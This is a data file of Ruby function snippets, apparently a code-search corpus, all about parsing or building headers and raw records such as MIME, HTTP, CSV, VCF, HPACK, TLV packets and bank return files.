"def initialize(string)\n if self.class.has_headers?(string)\n # if there is a separator between header content and body content\n if string =~ HEADERS_SEPARATOR_PATTERN\n @string = $'\n header_content = $`\n super(@string)\n\n @headers = Redhead::HeaderSet.parse(header_content)\n else\n @string = \"\"\n super(@string)\n\n # we're dealing with only headers, so pass in the entire original string.\n # this lets us deal with inputs like new(\"foo: bar\")\n @headers = Redhead::HeaderSet.parse(string)\n end\n else\n @string = string\n super(@string)\n @headers = Redhead::HeaderSet.new([])\n end\n end",
"def parse!\n if /^(?<key>.*?):(?<value>.*)/m =~ @raw\n @key = key.strip\n @value = value.strip\n else\n raise \"Unable to parse Header: #{@raw}\"\n end\n end",
"def parse_message\n header_part, body_part = raw_source.lstrip.split(HEADER_SEPARATOR, 2)\n self.header = header_part\n self.body = body_part\n end",
"def split_header\n self.fields = raw_source.split(HEADER_SPLIT)\n end",
"def parse_headers(row = nil)\n if @headers.nil? # header row\n @headers = case @use_headers # save headers\n # Array of headers\n when Array then @use_headers\n # HBCSV header String\n when String\n self.class.parse_line( @use_headers,\n col_sep: @col_sep,\n row_sep: @row_sep,\n quote_char: @quote_char )\n # first row is headers\n else row\n end\n\n # prepare converted and unconverted copies\n row = @headers if row.nil?\n @headers = convert_fields(@headers, true)\n @headers.each { |h| h.freeze if h.is_a? String }\n\n if @return_headers # return headers\n return self.class::Row.new(@headers, row, true)\n elsif not [Array, String].include? @use_headers.class # skip to field row\n return shift\n end\n end\n\n self.class::Row.new(@headers, convert_fields(row)) # field row\n end",
"def parse_header\n header.each do |field, value|\n self.instance_variable_set(\"@#{field}\", value) if HEADER_FIELDS.include? field\n end\n end",
"def make_load_header(text_line)\n EdiHelper::edi_log.write \"LI PreProcessor: Creating missing LH record from LD record...\",0\n\n detail_data = RawFixedLenRecord.new('LI', 'LD', text_line)\n header_data = RawFixedLenRecord.new('LI', 'LH')\n ignore_fields = ['load_date', 'instruction_quantity']\n line = header_data.populate_with_values_from( detail_data, ignore_fields )\n\n EdiHelper::edi_log.write \"LI PreProcessor: Created missing LH record from LD record.\",0\n line\n end",
"def parse_headers(raw_headers)\n headers = {}\n raw_headers.each do |h|\n if h =~ /^# *([a-zA-Z_]+) *:(.*)/\n h_key = $1.downcase.intern\n h_value = $2.split(\",\").collect { |v| v.strip }\n if h_value.length > 0 # ignore empty headers\n headers[h_key] = h_value.length > 1 ? h_value : h_value[0]\n end\n end\n end\n \n return headers\n end",
"def parse_headers raw_headers\n\t\theaders = Hash.new\n\n\t\t# Store values as hash, but don't include duplicate values\n\t\tremove_fws(raw_headers).map do |line|\n\t\t\tkey, value = line.split(\": \", 2)\n\t\t\theaders[key] ||= []\n\t\t\theaders[key] << value unless headers[key].include? value\n\t\tend\n\n\t\t# Pop value from array if there's only one value\n\t\theaders.each{ |key, value| headers[key] = value.pop if value.length == 1 }\n\tend",
"def initialize(text, options={})\n @raw = text.to_s.strip\n\n @arguments = []\n @examples = []\n @returns = []\n @raises = []\n @signatures = []\n @signature_fields = []\n\n parse unless @raw.empty?\n end",
"def have_header(text)\n HaveHeaderMatcher.new(text)\n end",
"def initialize(header=nil) \n if (header)\n if (!header.kind_of?(String))\n raise ArgumentError, \"Expected String, but #{header.class} provided.\"\n end\n \n if (header.length != 12)\n raise ArgumentError, \"Provided String should be 12-bytes but was #{header.length}-bytes.\"\n end\n\n unpack_header(header)\n else \n # set defaults\n reset!\n end\n \n end",
"def initialize(text)\n @headers = {}\n @http_version = ''\n @status = -1\n @response_text = ''\n \n parse text\n end",
"def method_missing(name, *args, &block)\n #:nodoc:\n # Only take the structured fields, as we could take _anything_ really\n # as it could become an optional field... \"but therin lies the dark side\"\n field_name = underscoreize(name).chomp(\"=\")\n if Mail::Field::KNOWN_FIELDS.include?(field_name)\n if args.empty?\n header[field_name]\n else\n header[field_name] = args.first\n end\n else\n super # otherwise pass it on\n end\n #:startdoc:\n end",
"def add_raw(raw)\n @fields << Field.new(raw)\n self\n end",
"def from_s(header)\n reset\n\n # ghettoooooo!\n # If we don't have any newlines..., put one there.\n if (header.size > 0 && header !~ /\\r\\n/)\n header << \"\\r\\n\"\n end\n\n # put the non-standard line terminations back to normal\n # gah. not having look behinds suck,\n header.gsub!(/([^\\r])\\n/n,'\\1' + \"\\r\\n\")\n\n # undo folding, kinda ugly but works for now.\n header.gsub!(/:\\s*\\r\\n\\s+/smni,': ')\n\n # Extract the command string\n self.cmd_string = header.slice!(/.+\\r\\n/)\n\n # Extract each header value pair\n header.split(/\\r\\n/mn).each { |str|\n if (md = str.match(/^(.+?)\\s*:\\s*(.+?)\\s*$/))\n if (self[md[1]])\n self[md[1]] << \", \" + md[2]\n else\n self[md[1]] = md[2]\n end\n end\n }\n end",
"def transmission_header(fields = {})\n return nil unless have_transmission_header?\n\n merged_fields = fields_for(self.class::TransmissionHeader).merge(fields)\n\n @transmission_header ||= self.class::TransmissionHeader.new(merged_fields)\n @transmission_header.tap do |head|\n head.instance_eval(&Proc.new) if block_given?\n end\n end",
"def parse text\n # Extract our headers, if any.\n if text =~ /\\A.*:/\n if text =~ /\\A((?:.|\\n)*?)\\n\\n((?:.|\\n)*)\\z/\n # Headers and body.\n @headers = YAML::load($1)\n content = $2\n else\n # Headers without body.\n @headers = YAML::load(text)\n content = ''\n end\n else\n # Body without headers.\n @headers = {}\n content = text\n end\n\n # Split the body at a <!--more--> marker, if we have one.\n if content =~ /\\A((?:.|\\n)*?)\\n<!--more-->\\s*\\n((?:.|\\n)*)\\z/\n @raw_body = $1\n @raw_extended = $2\n else\n @raw_body = content\n @raw_extended = nil\n end \n end",
"def new_from_raw(raw, context = nil)\n content_type = WCC::Contentful::Helpers.content_type_from_raw(raw)\n const = resolve_constant(content_type)\n const.new(raw, context)\n end",
"def parse_header line, samples, options\n header = VcfHeader.new(options[:debug])\n header.add(line)\n print line if not options[:skip_header]\n STDIN.each_line do | headerline |\n if headerline !~ /^#/\n # If no records in VCF, we never get here\n line = headerline\n break # end of header\n end\n header.add(headerline)\n if not options[:skip_header]\n if headerline =~ /^#CHR/\n # The header before actual data contains the sample names, first inject the BioVcf meta information\n print header.tag(options),\"\\n\" if options[:tag] and not options[:skip_header]\n # Then the additional filter(s)\n # ##FILTER=<ID=LowQual,Description=\"Low quality\">\n add_filter = options[:add_filter]\n if add_filter\n print \"##FILTER=<ID=\",add_filter,\",Description=\\\"\",options[:filter],\"\\\">\\n\"\n end\n \n selected = header.column_names\n if samples\n newfields = selected[0..8]\n samples.each do |s|\n newfields << selected[s+9] \n end\n selected = newfields\n end\n print \"#\",selected.join(\"\\t\"),\"\\n\"\n else\n print headerline\n end\n end\n end\n print header.printable_header_line(options[:set_header]),\"\\n\" if options[:set_header]\n VcfRdf::header if options[:rdf]\n if line =~ /^#/\n # We did not read a record\n line = nil\n end\n return header,line\nend",
"def add(text, level=1)\n name = text.parameterize\n if @headers.include? name\n name += '-%d' % (@headers[name] += 1)\n else @headers[name] = 0 end\n Header.new(text, level, name)\n end",
"def parse(text)\n text.split(\"\\n\").each do |line|\n if line =~ /^.*\\:.*$/\n s = line.split(\":\")\n \n key = s[0].strip\n value = s[1].strip\n \n @headers[key] = value\n else\n s = line.split\n \n @http_version = s[0]\n @status = s[1].to_i\n @response_text = s[2]\n end\n end\n end",
"def construct_header(headers:)\n if v = headers[TRACE_HEADER_PROXY] || headers[TRACE_HEADER]\n TraceHeader.from_header_string header_str: v\n else\n TraceHeader.empty_header\n end\n end",
"def from_string(header) # rubocop:disable Metrics/CyclomaticComplexity:\n return DEFAULT if header.nil? || header.empty?\n\n hash = header.split(',').each_with_object({}) do |member, memo|\n member.strip!\n kv = member.split('=')\n k, v = *kv\n next unless kv.length == 2 && VALID_KEY.match?(k) && VALID_VALUE.match?(v)\n\n memo[k] = v\n end\n return DEFAULT if hash.empty?\n\n new(hash)\n end",
"def parse_header(line)\n case line\n when /^#%checkm/\n match = /^#%checkm_(\\d+)\\.(\\d+)/.match line\n @version = \"#{match[1]}.#{match[2]}\" if match\n when /^#%eof/\n @eof = true\n when /^#%fields/\n list = line.split('|')\n list.shift\n @fields = list.map { |v| v.strip.downcase }\n when /^#%prefix/, /^#%profile/\n # do nothing\n end\n end",
"def parse_header_lines\n if @parsed_values[\"\"].nil? || @parsed_values[\"\"][1].nil?\n @parsed_values[\"\"] = {}\n return\n end\n\n headers = {}\n # Heading lines may have escaped newlines in them\n @parsed_values[\"\"][1].split(/\\\\n/).each do |line|\n next if line.size == 0\n\n if line =~ /(.*?):(.*)/\n key, value = $1, $2\n if headers[key] && headers[key].size > 0\n @errors << [\"Duplicate header line: #{line}\"]\n elsif key =~ /#-#-#-#-#/\n @errors << [\"Marker in header line: #{line}\"]\n else\n headers[key] = value\n end\n else\n @errors << [\"Malformed header #{line}\"]\n end\n end\n\n @parsed_values[\"\"] = headers\n end",
"def parse_headers(raw_headers)\n # raw headers from net_http have an array for each result. Flatten them out.\n raw_headers.inject({}) do |remainder, (k, v)|\n remainder[k] = [v].flatten.first\n remainder\n end\n end",
"def initialize(header_data, content_data = '')\n @content_data = StringIO.new content_data.to_s\n @header_data = header_data\n end",
"def headercheck(raw)\n decode(raw)[0...Payload::HEADER.length] == Payload::HEADER\n end",
"def parse_header_contents; end",
"def grab_header\n return @header if (@header and [email protected]?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def parse_header(header_line)\n entries = delete_special_chars(header_line)\n # switch entries for geo coordinates since latitude comes before longitude\n geo_coordinate = Entity::Coordinate.new(entries[6].to_f, entries[5].to_f)\n @grid_data = Entity::GridPoint.new(entries[8].to_f, entries[9].to_f,\n entries[12].to_f, entries[11].to_f)\n # special case for multi word locations\n station_name = entries[0].sub(\"_\", \" \")\n @station = Entity::Station.new(station_name, entries[3], entries[13].to_f,\n geo_coordinate)\n nil\n end",
"def from_r(raw)\n\t\tself.value = nil\n\n\t\tlength, self.type = raw.unpack(\"NN\");\n\n\t\tif (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)\n\t\t\tif (raw.length > 0)\n\t\t\t\tself.value = raw[8..length-2]\n\t\t\telse\n\t\t\t\tself.value = nil\n\t\t\tend\n\t\telsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)\n\t\t\tself.value = raw.unpack(\"NNN\")[2]\n\t\telsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)\n\t\t\tself.value = raw.unpack(\"NNc\")[2]\n\n\t\t\tif (self.value == 1)\n\t\t\t\tself.value = true\n\t\t\telse\n\t\t\t\tself.value = false\n\t\t\tend\n\t\telse\n\t\t\tself.value = raw[8..length-1]\n\t\tend\n\n\t\treturn length;\n\tend",
"def parse_formatted_text(formatted_text, config=nil)\n return unless @parse_required\n\n unless @content_type_handler\n create_default_content_type_handler\n end\n @parse_required = false\n # 2014-09-11 - 19:47 sending in color from here, otherwise the wrong default is picked. TEST \n @native_text = @content_type_handler.parse_text formatted_text, @source.color_pair, @source.attr\n end",
"def parse_header(string)\n {\n # identificação do registro header (conteúdo 0)\n :tipo_registro => string[0..0].to_i,\n # identificação do arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação por extenso do tipo de movimento\n :literal_retorno => string[2..8],\n # identificação do tipo de serviço\n :codigo_servico => string[9..10],\n # identificação por extenso do tipo de serviço\n :literal_servico => string[11..25],\n # código da empresa no bradesco\n :codigo_empresa => string[26..45].strip,\n # razão social da empresa\n :razao_social => string[46..75],\n # número do banco na câmara de compensação\n :codigo_banco => string[76..78],\n # nome por extenso do banco cobrador\n :nome_banco => string[79..93].strip,\n # data de geração do arquivo\n :data_geracao => convert_date(string[94..99]),\n # brancos\n #:brancos1 => string[100..107],\n # número aviso bancário\n :numero_aviso_bancario => string[108..112],\n # brancos\n #:brancos2 => string[113..378],\n # data de crédito dos lançamentos\n :data_credito => convert_date(string[379..384]),\n # brancos\n #:brancos3 => string[385..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399]\n }\n end",
"def parse_header\n @snp, @line, @type, @in, @polymorphism, @chromosome, @orientation = self.sequence_id.split(\" \") \n @type = @type.to_sym\n if @in\n @in = @in.to_sym == :exon \n else\n @exon = false\n end\n\n if @polymorphism.to_sym == :homoeologous\n @homoeologous = true\n else\n @homoeologous = false\n end\n @parsed = true\n @orientation = @orientation.to_sym\n end",
"def initialize(args)\n\t\tself.fields = []\n\t\traise \"no text provided\" unless args[:text]\n\t\tif args[:text]\n\t\t\targs[:text].split(/\\|/).each do |field|\n\t\t\t\tself.fields << field\n\t\t\tend\n\t\tend\n\t\tdetect_type\n\tend",
"def header(text, header_level)\n # clean string from html\n stringHeader = Sanitize.clean(text)\n\n # replace all unwanted characters to space\n stringHeader = stringHeader.downcase.gsub(/[^a-z0-9_-]+/i, \" \")\n\n # strip whitespaces from the beginning and end of a string\n stringHeader = stringHeader.strip\n\n # replace all unwanted characters to -\n stringHeader = stringHeader.downcase.gsub(/[^a-z0-9_-]+/i, \"-\")\n\n # convert number to string\n stringHeaderNum = header_level.to_s\n\n # create header\n result = '<h' + stringHeaderNum + ' id=\"' + stringHeader + '\">' + text + '</h' + stringHeaderNum + '>'\n\n return result\n end",
"def initialize str, ignore_body=false\n \t\theaders, @body = $~[1..-1] if str[/(.*?\\r?\\n)(?:\\r?\\n(.*))?\\Z/m]\n\n \t\t@headers = Hash.new { |hash, key| hash[key] = [] }\n \t\t@body ||= ''\n \t\theaders.to_s.scan(/^\\S+:\\s*.*(?:\\n\\t.*)*/).each do |header|\n \t\t\t@headers[header[/(\\S+):/, 1]] << header[/\\S+:\\s*(.*)/m, 1].gsub(/\\s+/m, ' ').strip # this is kind of wrong\n \t\tend\n\n \t\t# don't have to have content type i suppose\n \t\t@content_type, attrs = nil, {}\n \t\tif content_type = @headers['Content-Type'][0]\n \t\t\t@content_type, attrs = Mime.split_header content_type\n \t\tend\n\n \t\treturn if ignore_body\n\n \t\tif multipart?\n \t\t\tif body.empty?\n \t\t\t\t@preamble = ''\n \t\t\t\t@epilogue = ''\n \t\t\t\t@parts = []\n \t\t\telse\n \t\t\t\t# we need to split the message at the boundary\n \t\t\t\tboundary = attrs['boundary'] or raise \"no boundary for multipart message\"\n\n \t\t\t\t# splitting the body:\n \t\t\t\tparts = body.split(/--#{Regexp.quote boundary}/m)\n \t\t\t\tunless parts[-1] =~ /^--/; warn \"bad multipart boundary (missing trailing --)\"\n \t\t\t\telse parts[-1][0..1] = ''\n \t\t\t\tend\n \t\t\t\tparts.each_with_index do |part, i|\n \t\t\t\t\tpart =~ /^(\\r?\\n)?(.*?)(\\r?\\n)?\\Z/m\n \t\t\t\t\tpart.replace $2\n \t\t\t\t\twarn \"bad multipart boundary\" if (1...parts.length-1) === i and !($1 && $3)\n \t\t\t\tend\n \t\t\t\t@preamble = parts.shift\n \t\t\t\t@epilogue = parts.pop\n \t\t\t\t@parts = parts.map { |part| Mime.new part }\n \t\t\tend\n \t\tend\n \tend",
"def header(h, buffer = \"\")\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def from_r(raw)\n\t\toffset = 8\n\n\t\t# Reset the TLVs array\n\t\tself.tlvs = []\n\t\tself.type = raw.unpack(\"NN\")[1]\n\n\t\t# Enumerate all of the TLVs\n\t\twhile (offset < raw.length-1)\n\n\t\t\ttlv = nil\n\n\t\t\t# Get the length and type\n\t\t\tlength, type = raw[offset..offset+8].unpack(\"NN\")\n\n\t\t\tif (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)\n\t\t\t\ttlv = GroupTlv.new(type)\n\t\t\telse\n\t\t\t\ttlv = Tlv.new(type)\n\t\t\tend\n\n\t\t\ttlv.from_r(raw[offset..offset+length])\n\n\t\t\t# Insert it into the list of TLVs\n\t\t\ttlvs << tlv\n\n\t\t\t# Move up\n\t\t\toffset += length\n\t\tend\n\tend",
"def from_r(raw)\n\t\toffset = 8\n\n\t\t# Reset the TLVs array\n\t\tself.tlvs = []\n\t\tself.type = raw.unpack(\"NN\")[1]\n\n\t\t# Enumerate all of the TLVs\n\t\twhile (offset < raw.length-1)\n\n\t\t\ttlv = nil\n\n\t\t\t# Get the length and type\n\t\t\tlength, type = raw[offset..offset+8].unpack(\"NN\")\n\n\t\t\tif (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)\n\t\t\t\ttlv = GroupTlv.new(type)\n\t\t\telse\n\t\t\t\ttlv = Tlv.new(type)\n\t\t\tend\n\n\t\t\ttlv.from_r(raw[offset..offset+length])\n\n\t\t\t# Insert it into the list of TLVs\n\t\t\ttlvs << tlv\n\n\t\t\t# Move up\n\t\t\toffset += length\n\t\tend\n\tend",
"def record_header(cursor)\n origin = cursor.position\n header = RecordHeader.new\n cursor.backward.name(\"header\") do |c|\n case page_header.format\n when :compact\n # The \"next\" pointer is a relative offset from the current record.\n header.next = c.name(\"next\") { origin + c.read_sint16 }\n\n # Fields packed in a 16-bit integer (LSB first):\n # 3 bits for type\n # 13 bits for heap_number\n bits1 = c.name(\"bits1\") { c.read_uint16 }\n header.type = RECORD_TYPES[bits1 & 0x07]\n header.heap_number = (bits1 & 0xfff8) >> 3\n when :redundant\n # The \"next\" pointer is an absolute offset within the page.\n header.next = c.name(\"next\") { c.read_uint16 }\n\n # Fields packed in a 24-bit integer (LSB first):\n # 1 bit for offset_size (0 = 2 bytes, 1 = 1 byte)\n # 10 bits for n_fields\n # 13 bits for heap_number\n bits1 = c.name(\"bits1\") { c.read_uint24 }\n header.offset_size = (bits1 & 1).zero? ? 2 : 1\n header.n_fields = (bits1 & (((1 << 10) - 1) << 1)) >> 1\n header.heap_number = (bits1 & (((1 << 13) - 1) << 11)) >> 11\n end\n\n # Fields packed in an 8-bit integer (LSB first):\n # 4 bits for n_owned\n # 4 bits for flags\n bits2 = c.name(\"bits2\") { c.read_uint8 }\n header.n_owned = bits2 & 0x0f\n header.info_flags = (bits2 & 0xf0) >> 4\n\n case page_header.format\n when :compact\n record_header_compact_additional(header, cursor)\n when :redundant\n record_header_redundant_additional(header, cursor)\n end\n\n header.length = origin - cursor.position\n end\n\n header\n end",
"def is_header?(fields)\n # parsing should ignore...\n # lines that are completely blank\n # lines that appear to be entirely delimiters\n\n return true if fields.empty?\n\n line = fields.join\n\n # these are probably horizontal markers between any header text and the actual data\n return true if line =~ /^[-=*_\\s]*$/\n\n return true unless line =~ /\\d/\n\n return true if line =~ /^\\s*[A-Za-z ]+$/\n\n # this line looks significant, keep it in.\n false\n end",
"def meta\n @meta ||= begin\n arr = @header_str.split(/\\r?\\n/)\n arr.shift\n arr.inject({}) do |hash, hdr|\n key, val = hdr.split(/:\\s+/, 2)\n hash[key.downcase] = val\n hash\n end\n end\n end",
"def initialize(text)\n flag = false\n head = []\n @hits = []\n text.each do |line|\n if flag then\n @hits << Hit.new(line)\n else\n line = line.chomp\n if /\\A\\-+\\s*\\z/ =~ line\n flag = true\n else\n head << line\n end\n end\n end\n @columns = parse_header(head)\n end",
"def parse_header(module_name, source)\n cm_config = CMockConfig.new(nil)\n cm_parser = CMockHeaderParser.new(cm_config)\n cm_parser.parse(module_name, source)\nend",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def parse_header(line)\n if (match = line.match(/^(.+?):\\s*(.+)#{@nl}$/))\n key = match[1].downcase\n set_header_special_values(key, match[2])\n parse_normal_header(line, key, match[1], match[2])\n elsif (match = line.match(/^HTTP\\/([\\d\\.]+)\\s+(\\d+)\\s+(.+)$/))\n @response.code = match[2]\n @response.http_version = match[1]\n @http2.on_content_call(@args, line)\n else\n raise \"Could not understand header string: '#{line}'.\"\n end\n end",
"def from_r(raw)\n\t\tself.value = nil\n\n\t\tlength, self.type = raw.unpack(\"NN\");\n\n\t\t# check if the tlv value has been compressed...\n\t\tif( self.type & TLV_META_TYPE_COMPRESSED == TLV_META_TYPE_COMPRESSED )\n\t\t\t# set this TLV as using compression\n\t\t\t@compress = true\n\t\t\t# remove the TLV_META_TYPE_COMPRESSED flag from the tlv type to restore the \n\t\t\t# tlv type to its origional, allowing for transparent data compression.\n\t\t\tself.type = self.type ^ TLV_META_TYPE_COMPRESSED\n\t\t\t# decompress the compressed data (skipping the length and type DWORD's)\n\t\t\traw_decompressed = Rex::Text.zlib_inflate( raw[8..length-1] )\n\t\t\t# update the length to reflect the decompressed data length (+8 for the length and type DWORD's)\n\t\t\tlength = raw_decompressed.length + 8\n\t\t\t# update the raw buffer with the new length, decompressed data and updated type.\n\t\t\traw = [length, self.type].pack(\"NN\") + raw_decompressed\n\t\tend\n\t\t\n\t\tif (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)\n\t\t\tif (raw.length > 0)\n\t\t\t\tself.value = raw[8..length-2]\n\t\t\telse\n\t\t\t\tself.value = nil\n\t\t\tend\n\t\telsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)\n\t\t\tself.value = raw.unpack(\"NNN\")[2]\n\t\telsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)\n\t\t\tself.value = raw.unpack(\"NNc\")[2]\n\n\t\t\tif (self.value == 1)\n\t\t\t\tself.value = true\n\t\t\telse\n\t\t\t\tself.value = false\n\t\t\tend\n\t\telse\n\t\t\tself.value = raw[8..length-1]\n\t\tend\n\n\t\treturn length;\n\tend",
"def initialize(headers, body)\n content_type = headers['Content-Type']\n boundary = content_type.parameters['boundary']\n\n if boundary.nil?\n raise Malformed.new(\"Expected multipart Content-Type header to contain 'boundary' parameter\",\n 1)\n else\n @boundary = boundary.parsed_value\n boundary_tween = Regexp.new(\"--#{Regexp.escape(@boundary)}\\s*\\r\\n$\")\n boundary_last = Regexp.new(\"--#{Regexp.escape(@boundary)}--\\s*\\r\\n$\")\n end\n\n parts = []\n @preamble = []\n part_lines = []\n @epilogue = []\n state = :preamble\n\n body.each do |line|\n case state\n when :preamble\n if line =~ boundary_tween\n state = :part\n else\n @preamble << line\n end\n\n when :part\n if line =~ boundary_tween\n part_lines.last.gsub!(/[\\r\\n]+$/, '') # swallow CRLF before boundary marker\n part_lines.pop if part_lines.last.empty? # get rid of extra newline if it was present\n parts << MIME::Message.parse(part_lines, false)\n part_lines = []\n elsif line =~ boundary_last\n part_lines.last.gsub!(/[\\r\\n]+$/, '') # swallow CRLF before boundary marker\n part_lines.pop if part_lines.last.empty? # get rid of extra newline if it was present\n parts << MIME::Message.parse(part_lines, false)\n part_lines = []\n state = :epilogue\n else\n part_lines << line\n end\n\n when :epilogue\n @epilogue << line\n end\n end\n\n # Handle messages that have no epilogue\n unless part_lines.empty?\n parts << MIME::Message.parse(part_lines, false)\n end\n\n super(headers, parts)\n end",
"def initial_Headers_Split(initial_and_headers)\n\tif initial_and_headers.include?(\"\\r\\n\") # if body exist, a blank line must exist\n\t\tinitial,headers = initial_and_headers.split(\"\\r\\n\",2)\n\telse\n\t\tinitial,headers = initial_and_headers,''\n\tend\nend",
"def parse_header(string)\n {\n # identificação do registro header\n :tipo_registro => string[0..0].to_i,\n # identificação do arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação por extenso do tipo de movimento\n :literal_retorno => string[2..8],\n # identificação do tipo de serviço\n :codigo_servico => string[9..10],\n # identificação por extenso do tipo de serviço\n :literal_servico => string[11..25],\n # agência mantenedora da conta\n :agencia => string[26..29],\n # complemento de registro\n :zeros => string[30..31],\n # número da conta corrente da empresa\n :conta => string[32..36],\n # dígito de auto-conferência ag/conta empresa\n :dac => string[37..37],\n # complemento do registro\n #:brancos1 => string[38..45],\n # nome por extenso da \"empresa mãe\"\n :nome_empresa => string[46..75],\n # número do banco na câmara de compensação\n :codigo_banco => string[76..78],\n # nome por extenso do banco cobrador\n :nome_banco => string[79..93].strip,\n # data de geração do arquivo\n :data_geracao => string[94..99],\n # unidade de densidade\n :densidade => string[100..104],\n # densidade de gravação do arquivo\n :unidade_densidade => string[105..107],\n # número sequencial do arquivo retorno\n :numero_sequencial_arquivo_retorno => string[108..112],\n # data de crédito dos lançamentos\n :data_credito => string[113..118],\n # complemento do registro\n #:brancos2 => string[119..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399]\n }\n end",
"def initialize(args={})\n @eth_header = EthHeader.new(args).read(args[:eth])\n @ip_header = IPHeader.new(args).read(args[:ip])\n @eth_header.body=@ip_header\n\n @headers = [@eth_header, @ip_header]\n super\n end",
"def initialize(raw, part)\n @raw = raw\n @part = part\n end",
"def parse_header(line, opts = {})\n host = opts[:host]\n if host\n line = line.gsub(/^(Host:\\s+).*$/, \"\\\\1#{host}\")\n line = line.gsub(/^(Referer:\\s+https?:\\/\\/)[^\\/]*(.*)$/, \"\\\\1#{host}\\\\2\")\n end\n @headers << line\n line = line.downcase\n if line.start_with? 'content-length: '\n @content_length = line.gsub(/^\\S+\\s+(\\d+)\\s*$/, '\\1').to_i\n elsif line.start_with? 'transfer-encoding: '\n encodings = line.gsub(/^\\S+\\s+(.*)$/, '\\1')\n @transfer_encodings = encodings.split(/\\s*,\\s*/).map {|e| e.strip.to_sym}\n end\n end",
"def unpack_header(header)\n # fixed fields\n self.version = header.slice!(0)\n self.type = header.slice!(0)\n self.seq_no = header.slice!(0)\n self.flags = header.slice!(0)\n self.session_id = header.slice!(0..3)\n self.length = header.slice!(0..3)\n return(nil)\n end",
"def initialize text, client_ip=nil\n \n \n @client = client_ip ? client_ip : \"\"\n @complete_request = ''\n @verb = ''\n @resource = ''\n @http_version = [0,0]\n @extra_args = {}\n \n \n # if text is nil at this point, we will leave it at a stub request\n # for debugging purposes.\n return if text.nil?\n \n \n #\n # Separate and chomp each line into array.\n headlines = text.each_line(\"\\r\\n\").map{|line| line.chomp }.to_a\n \n #\n # Rip off the first line and store it as complete request\n requestLine = headlines.shift\n @complete_request = requestLine\n \n #\n # Split request line.\n requestComponents = requestLine.split(/ /) # split on single-space exactly.\n raise HTTPStandardError.new(400, self) unless requestComponents.count == 3 # Bad Request\n \n # We now know there are three parts to the request line.\n @verb, @resource, versionString = requestComponents\n raise HTTPStandardError.new(501, self) unless HTTPHandler::ImplementedVerbs.include?(@verb) # Not Implemented\n raise HTTPStandardError.new(400, self) unless @resource.length > 0 && @resource[0] == '/'\n \n @http_version = version_from versionString\n \n #\n # Having gotten the request, parse the additional information:\n headlines.each do |messageHeader|\n next if messageHeader.length == 0\n \n #\n # Split leading token from the rest.\n headParts = messageHeader.split(':', 2) # Limit split to 2 pcs. b/c rest may contain colons\n raise HTTPStandardError.new(400, self) unless headParts.count == 2\n \n #\n # We take all keys as lowercase, and disallow any key\n # which contains a Token Separator.\n fieldName, fieldValue = headParts\n fieldName.downcase! ; fieldValue.strip!\n TokenSeparators.each {|sep| raise HTTPStandardError 400 if fieldName.include?(sep) }\n \n #\n # Add to dictionary.\n if @extra_args[fieldName]\n # Field already specified; comma-append the new value:\n @extra_args[fieldName] = \"#{@extra_args[fieldName]},#{fieldValue}\"\n else\n @extra_args[fieldName] = fieldValue\n end\n end\n \n end",
"def cgi_parse_header(line); end",
"def header(buf)\n peek = buf.readbyte(0)\n\n header = {}\n header[:type], type = HEADREP.select do |t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end.first\n\n header[:name] = integer(buf, type[:prefix])\n if header[:type] != :indexed\n header[:name] -= 1\n\n if header[:name] == -1\n header[:name] = string(buf)\n end\n\n if header[:type] == :substitution\n header[:index] = integer(buf, 0)\n end\n\n header[:value] = string(buf)\n end\n\n header\n end",
